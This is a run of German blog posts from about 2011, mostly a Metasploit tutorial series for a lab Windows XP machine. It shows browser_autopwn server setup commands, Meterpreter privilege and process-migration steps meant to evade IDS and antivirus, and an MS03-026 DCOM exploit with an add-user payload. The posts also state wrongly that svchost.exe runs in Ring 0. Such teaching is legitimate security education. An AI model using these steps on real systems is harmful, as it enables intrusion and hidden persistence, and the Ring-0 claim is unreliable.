Veröffentlicht am von — Schreiben Sie einen Kommentar

Serverlast erhöht durch https://ahrefs.com/

Hallo liebe Leser,

Bei meiner Administrativen Tätigkeit habe ich beobachtet, wie die Server Logs vom ahref Robot fast schon DoS’st werden! übertreib….

Es kommt zu enormen Spitzen beim Zugriff auf die Onlineshop!

Wir Sysadmins wissen Roboter sind normal im Apache / Nginx Serverlog, aber seit dem Ausführen von Domainabfragen auf ahrefs.com stieg die Serverlast, bei einem Beispiel Shop mit 40.000 Artikeln!

Ein schlecht Administrierter Server kann dabei schon aus für Teilnehmer des Onlineshops ins Schwitzen kommen.

Verfügt der Bot von Ahrefs.com über eine Art Load Balancing?

Das war es auch schon 🙂

Veröffentlicht am von — Schreiben Sie einen Kommentar

Man-in-the-Middle Angriff – Videotutorial

In diesem VideoTutorial wird gezeigt, was sich hinter einer sog. Man-in-the-Middle Attacke verbirgt und wie Sie Unregelmäßigkeiten in Ihrem Netzwerk aufdecken können sowie eine Möglichkeit sich davor zu schützen.

Veröffentlicht am von — Schreiben Sie einen Kommentar

Metasploit Angriff mit Auxilary Browser Autopwn

Hallo zusammen, im Metasploit Framework gibt es eine Möglichkeit einen HTTP Server aufzusetzen, welcher gleich eine ganze Exploit Sammlung (20 Module) zum Angriff benutzt bis ein Angriff erfolgreich verläuft.

use auxiliary/server/browser_autopwn
set lhost 192.168.1.156
set srvport 80
set uripath browser-exploit-sammlung
exploit


Veröffentlicht am von — Schreiben Sie einen Kommentar

Metasploit Grundlagen Teil 3 – Meterpreter

Willkommen zum Teil 3 – Meterpreter einsetzten.
Beschäftigen wir uns einmal ein wenig mit den sogenannten payload, der Teil eines Pentests, welcher eine Aktion ausführt im normalen Fall wird ein Payload nur eine einzelne Aktion durchführen wie z.B. einen Benutzer dem System hinzufügen, Bind Shell bindet sich auf einen Port. Im Normalfall sind die payloads der exploits remote shells, also Konsolen auf die sich der Pentester oder IT-Security spezialist verbindet. Meistens werden dabei neue Prozesse erzeugt, welche einen Arlam bei einem Instrusion Detection System (IDS) auslöst. Größere Firmen, welche wichtige Daten besitzen sollten IDS Systeme einsetzten und auch gleich Honeypot-Systeme!


ACHTUNG: Die Tools sind nicht im Sinne von §202 c StGB zu benutzen, sondern dienen lediglich Bildungszwecken für IT-Security interessierte!


ein gewöhnlicher payload erreicht nicht immer sein Ziel, wenn der Prozess z.B. Isoliert ausgeführt wurde, moderne Betriebsysteme unterstützen ASLR und DEP um den payload zu verhindern oder besser gesagt ins leere laufen zu lassen! Unser Testsystem Windows XP SP2 unterstützt bereits DEP.


Im Idealfall wird bei einem Payload kein neuer Prozess erzeugt und sollte im Kontext des angegriffenen Prozesses laufen. Es sollte desweiteren keine Datei angelegt werden, welche eine Firewall mit Verhaltenserkennung oder IDS oder gar Antivirusprogramme auf den Plan rufen. Ein perfekter payload ermöglicht es eine “Plattform” zu erzeugen welche sich aus der Ferne erweitern lässt, desweiteren sollte Scripting möglich sein, um diese remote Plattform erweitern zu können, am besten zur Laufzeit.


Genau diese Aufgaben erfüllt der Meterpreter vom Metasploit Framework, es wird durch eine Arbeitsspeicher DLL Injection ermöglicht. Es werden keine Dateien auf der Festplatte erzeugt. Zusätzlich ist die Kommunikation verschlüsselt, um Signaturen von Firewalls, IDS Systemen zu verhindern. Der Meterpreter überträgt als erstes die DLL Datei zum Angegriffenen System und ermöglicht es Befehle auszuführen, den kompletten Arbeitsspeicher / payload Plattform in einen anderen Prozess zu integrieren, Registry lesen und schreiben, Festplattenzugriff, einen Bericht über das angegriffene System erstellen und vieles mehr. Da diese Plattform erweiterbar ist durch Scripts ergeben sich endlose Möglichkeiten! Deshalb wird Metasploit auch von vielen IT-Security Analysten in der Welt eingesetzt – auch in Deutschland!


Auf zum meterpreter 

Wir setzen den browser_autopwn Exploit auf, welcher aus 20 Modulen besteht und verschiedene Browser testet, Internet Explorer, Firefox, Safari, Opera, aber auch generelle Sicherheitslücken wie Java, Flash etc. Dieser Test kann sehr hilfreich sein, um bestehende Systeme mit Ihrer Konfiguration auf Sicherheitslücken zu prüfen!  
Dieses Modul startet einen eigenen Webserver und testet beim aufrufen der URL des Webservers  mittels Javascript um welchen Browser es sich handelt und leitet zu den entsprechenden Sicherheitslücken um. 

Der Vorteil bei dem auxilary ist das sich die session automatisch an in einem neuen Prozess versteckt in diesem Fall in dem harmlosen Prozess notepad.exe, der Internet Explorer in diesem Fall schließt sich danach und man sieht keine Fehlermeldung. 
Nachdem die Session offen ist, wie man im Prompt erkennen kann gibt man einfach den Befehl sessions -i 2 an. 

Mit getuid sehen wir als welcher Benutzer wir unterwegs sind in unserer VM Maschine. In unserem Fall auf der Maschine 4Pentest-xxxx als Administrator. Weil uns diese Rechte nicht ausreichen erweitern wir diese nicht über getprivs damit können wir unsere Rechte erweitern falls, getsystem nicht funktioniert. 

Jetzt wollen wir allerdings uns verstecken im System von Windows, dazu migrieren wir uns von dem ursprünglichen notepad.exe Prozess welcher unter Administratoren Rechte läuft unter einen svhost.exe Prozess welcher im Ring-0 also mit für normal sterbliche nicht erreichbaren Benutzerrechten liegt. In diesem Modus arbeiten die Treiber von Firewalls, Antivirusprogrammen, IDS. Über getpid (prozessid) wissen wir das wir noch in 508 sind, nun tippen wir ps ein und sehen alle Prozesse suchen uns einen Systemprozess PID 856 aus und (grüner Rahmen). Tippen den simplen Befehl migrate 856 ein und haben es geschafft und laufen nun physisch im Arbeitsspeicher vom Ring0 Prozess svhost.exe 


To be continued….

Veröffentlicht am von — Schreiben Sie einen Kommentar

Metasploit Grundlagen Teil 2 – Verzeichnisstruktur verstehen

Hallo Willkommen zum nächsten Teil von Metasploit Grundlagen Teil 2 – Verzeichnis Struktur entdecken. 

Stand: 06.2011

ACHTUNG: Das Tool Metasploit ist nicht im Sinne von §202 c StGB (“Hackerparagraph”) zu benutzen.  


Unter Windows in den Ordner C:\Program Files (x86)\Rapid7\framework\msf3\modules\exploits wechseln und dort kann man erkennen das, das Framework eine sehr ordentliche Struktur verwendet um die Sicherheitslücken zu kategorisieren. 











Wir sind jetzt mal in den Ordner Windows als Betriebsystem gewechselt und sehen dort wieder Kategorien wir Antivirus, Firewall, Browser, HTTP, POP3, SMTP, SIP, mySQL, FTP etc. 
Metasploit kommt in verschiedenen Ausführungen zum Einsatz z.B. auch als Webanwendung, ich empfehle allerdings die Konsole zu verwenden, weil sie entscheidene Vorteile bietet, wie zum Beispiel die Autovervollständigung mittels TAB. Wir navigieren mit dem “use” Befehl von Metasploit einfach durch diese Ordner Strukturen. 


Wir können uns z.B. aus dem Metasploit Grundlagen Teil 1 die Ruby Files ansehen die beim RPC DCOM Exploit zum Einsatz gekommen sind. 
welcher sich im Ordner “dcerpc”.  Man könnte sich nun die “ms03_026_dcom.rb” 









Im Ordner C:\Program Files (x86)\Rapid7\framework\msf3\modules\auxiliary befinden sich weitere Tools, wie Sniffer, Scanner, Spoofing Tools, VOIP, fuzzers, crawler, DoS. Unter Unix ist die Ordnerstruktur exakt gleich aufgebaut. 
Wir kommen später vielleicht noch dazu diese Module zu verwenden, allerdings gibt es auf der Webseite schon ein Beispiel “Metasploit: Angriff mit Auxilary Browser Autopwn” welches den auxilary auxiliary/server/browser_autopwn verwendet. 
Es gibt natürlich auch noch den Payload Ordner 
Unter C:\Program Files (x86)\Rapid7\framework\msf3\modules\payloads\singles\windows befindet sich z.B. der  “adduser.rb” Payload, fühlt euch frei euch den Open Sourcecode anzusehen. 

Download von Metasploit 3.8 Dev für Windows / Linux / Unix.

Veröffentlicht am von — Schreiben Sie einen Kommentar

Metasploit Grundlagen Teil 1 – RPC DCOM Beispiel

vom SONNTAG, 26. JUNI 2011
Metasploit ist wohl das bekannteste Framework für Penetration Testing! Es eignet sich ebenfalls für die Entwicklung von Exploit Modulen, aber auch im IDS Signaturen zu erzeugen. Heute stellt es 705 Sicherheitslücken (vulnerability) zur Verfügung, welche ausgenutzt werden können (exploit). 224 payloads also das was der Exploit nach erfolgreichem Test ausführen soll z.B. eine Reverse Back Shell, neuen User anlegen etc.


ACHTUNG: Die Tools sind nicht im Sinne von §202 c StGB zu benutzen.  

Insbesondere die Einführung des neuen § 202 c StGB
“Vorbereiten des Ausspähens und Abfangens von Daten” (so genannter “Hackerparagraph”) wird aus allen Richtungen heftig kritisiert.
Sicherheitsexperten kritisieren, dass durch die dann unter Strafe gestellten Vorbereitungshandlungen, wie beispielsweise die Herstellung so genannter “Hacker-Tools”, die notwendige Arbeit von Sicherheitsberatern, Testern, Professoren, Entwicklern und Admins kriminalisiert wird.

Am besten ihr benutzt “Backtrack 5” und macht euch eine Shell auf und gibt msfconsole ein. Es gibt allerdings auch eine Metasploit 3 Version für Windows “Metasploit Console”.
Das in Ruby geschriebene Programm ist wohl eins der größten die jemals mit Ruby geschrieben wurden, es werden beim Programmstart 1000sende Module geladen, daher dauert es ein wenig.



Um sich im Metasploit Framework zurecht zu finden benutzt man den simplen Befehl “search Phrase” z.B. wenn ihr eine VM mit Windows XP SP1 installiert habt könnt ihr nach “search dcom” suchen  es erscheint der gewünschte Exploit “windows/dceprpc/ms03_026_dcom” – Microsoft RPC DCOM Interface Overflow.


nun kommen wir zu dem Befehl “show info” dieser zeigt Details zu der Lücke an, so kann entnommen werden wie der Exploit konfiguriert werden muss.








Es gibt noch einen weiteren Befehl der recht interessante Informationen enthält. “info” in die Metasploit Console eintragen und man erhält wieder die Optionen und sieht ebenfalls, was die Standard Werte sind, welcher Payload verwendet wird. Und eine kurze Zusammenfassung welche Systeme betroffen sind.
Und noch ein Paar Quellenangaben z.B. den Link zu Security Focus einer der besten und größten IT-Security Seiten, auf dieser können z.B. Exploit Codes  gefunden werden, welche hier in Metasploit eingebaut wurden.

Als nächstes müssen aber noch den Pentest konfigurieren und zwar sehen wir im Screenshot ja die Parameter z.B. RHOST -> SET RHOST 192.168.1.35 als nächstes den payload konfigurieren dafür verwenden wir SET PAYLOAD windows/adduser rufen wir erneuert “show options” auf so erhalten wir neue Werte für den payload und zwar USER und PASS diese würden beide auf Metasploit stehen. mit SET USER / PASS 4pentest können diese Optionen verändert werden.

Als letzten Schritt führen wir den befehl “Exploit” aus. Und sehen das es geklappt hat! Allerdings ist dieses Beispiel auf die heutige Zeit sinnlos zu übertragen dieser Exploit wurde mit den Windows XP Service Pack 3 behoben. Früher gab es ja sogar RPC DCOM Scanner womit IP’s durchsucht werden konnten wo dieser Pentest zum erfolg geführt hätte.